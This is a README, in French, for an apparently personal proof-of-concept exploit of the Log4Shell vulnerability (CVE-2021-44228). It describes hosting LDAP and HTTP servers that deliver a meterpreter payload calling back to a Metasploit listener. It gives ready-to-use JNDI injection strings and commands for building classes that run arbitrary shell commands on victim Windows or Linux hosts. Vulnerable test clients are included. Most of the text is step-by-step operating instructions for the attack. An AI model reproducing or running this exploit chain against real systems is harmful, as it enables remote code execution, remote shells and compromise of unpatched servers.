
Log4Shell (Cve-2021-44228) Preuve de concept
Preuve de concept Log4Shell (Cve-2021-44228)
Ceci est un projet personnel qui exécute une simple POC hébergeant un serveur LDAP et un serveur HTTP pour l'exploit Log4Shell.
Le run_servers.py configurera un client meterpreter allégé qui rappellera l'instance Metasploit passée dans la requête ldap. Cela exécutera l'instance meterpreter dans un thread du processus d'origine affecté par l'exploit Log4Shell.
Le serveur LDAP est écrit en Java et le serveur HTTP est hébergé en python et servira depuis un répertoire wwwroot nouvellement créé. Cela nécessite java, javac et mvn pour construire les exploits, et héberger le serveur LDAP. J'ai utilisé Java 8.
Python3 est également requis.
exécutez : python3 run_servers.py <votre_adresse_ip> <le_port_http> [ldap_port]
Puis transmettez la chaîne jndi à un client vulnérable pour qu'il la journalise, par exemple : si votre hôte était 10.20.30.40 et votre instance metasploit était 20.30.40.50 en écoute sur le port 4444, cela ressemblerait à ceci : '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Vous pouvez construire des classes qui lanceront des exécutables sur le système source. Vous pouvez avoir différentes commandes pour les systèmes windows ou linux. Par exemple, pour créer une classe appelée TestCmd qui lancera une calculatrice sur les systèmes Windows et Firefox sur les systèmes linux, exécutez : python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Vous pouvez avoir plusieurs classes pré-construites. Si vous ne spécifiez pas de commande pour l'os cible, rien n'est exécuté. Notez que ces commandes sont exécutées comme CMD \c "votre commande" sur windows et /bin/sh -c "votre commande" sur linux.
Pour déclencher la commande ci-dessus, utilisez le nom de la classe que vous avez créée, par exemple : '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Le fichier Payload.java est le fichier Meterpreter complet configuré pour s'exécuter en tant que thread dans le processus appelant qui avait le problème log4shell. Il doit être compilé manuellement et déplacé dans le répertoire wwwroot. De plus, vous devez avoir le fichier metasploit.dat configuré avec les propriétés nécessaires.
Le répertoire clients contient 2 clients exécutables. L'un est un simple programme en ligne de commande qui écrira un journal d'erreurs pour tout ce qui est passé en 1er paramètre.
L'autre est un serveur web de base qui écrira un journal d'erreurs en utilisant les informations de l'en-tête log_me. Notez que cela doit être exécuté dans un environnement contrôlé et isolé.
naviguez vers le répertoire clients et exécutez ./build_clients.sh
depuis le répertoire clients, exécutez : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
depuis le répertoire clients, exécutez : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'